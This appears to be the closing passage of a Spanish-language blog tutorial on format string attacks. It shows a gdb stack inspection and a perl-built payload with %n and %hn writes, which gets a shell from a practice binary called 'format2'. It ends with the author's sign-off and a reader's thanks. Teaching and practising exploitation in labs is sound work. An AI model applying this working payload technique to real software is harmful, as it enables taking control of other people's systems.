Punto de interrupción 1 at 0x80484ba
(gdb) r `perl -e 'print "A"x37'`
Starting program: /path/format2 `perl -e 'print "A"x37'`

Breakpoint 1, 0x080484ba in main ()
(gdb) x/20xw $esp
0xbffff2c0:    0xbffff520    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2d0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff2e0:    0x00000002    0xbffff374    0xbffff380    0xb7fdc858
0xbffff2f0:    0x00000000    0xbffff31c    0xbffff380    0x00000000
0xbffff300:    0x0804823c    0xb7fc6ff4    0x00000000    0x00000000


Vemos que dentro de gdb argv toma el valor 0xbfffff374, entonces ¿cuántos bytes mete gdb por ahí? pues 0xbffff3c4 - 0xbffff374 = 0x50 = 80 bytes. ¿Qué pasará si probamos a explotar el programa con la misma string que usamos en gdb pero moviendo las direcciones 80 bytes y accediendo a los parámetros 140 y 141?.

$ ./format2 "`perl -e 'print "\x2c\xf3\xff\xbf\x2e\xf3\xff\xbf" . "%33852d" . "%140\\$n" . "%33728d" . "%141\\$hn" . "AA"'`"

<La correspondiente basura...>

13451$ whoami
ole
$ exit


Y efectivamente hemos obtenido la shell :).

Bueno, pues hasta aquí con los format strings attacks hasta el momento. Creo que hay material como para prácticar un buen rato hasta cogerle algo de soltura. Sí, sé que esto es bastante más complejo que un simple bof... ¡¿pero a que mola?!

Que levante la mano el que conocía todas estas características de las cadenas de formato y no conocía cómo explotarlas, que me quito el sombrero.

Saludos.

2 comentarios:

  1. Una pena no encontrar esta pagina antes, es de hace tiempo pero que sepas que esto sigue valiendo a mucha gente :-), gracias por tu trabajo y tiempo en publicarlo.

    ResponderEliminar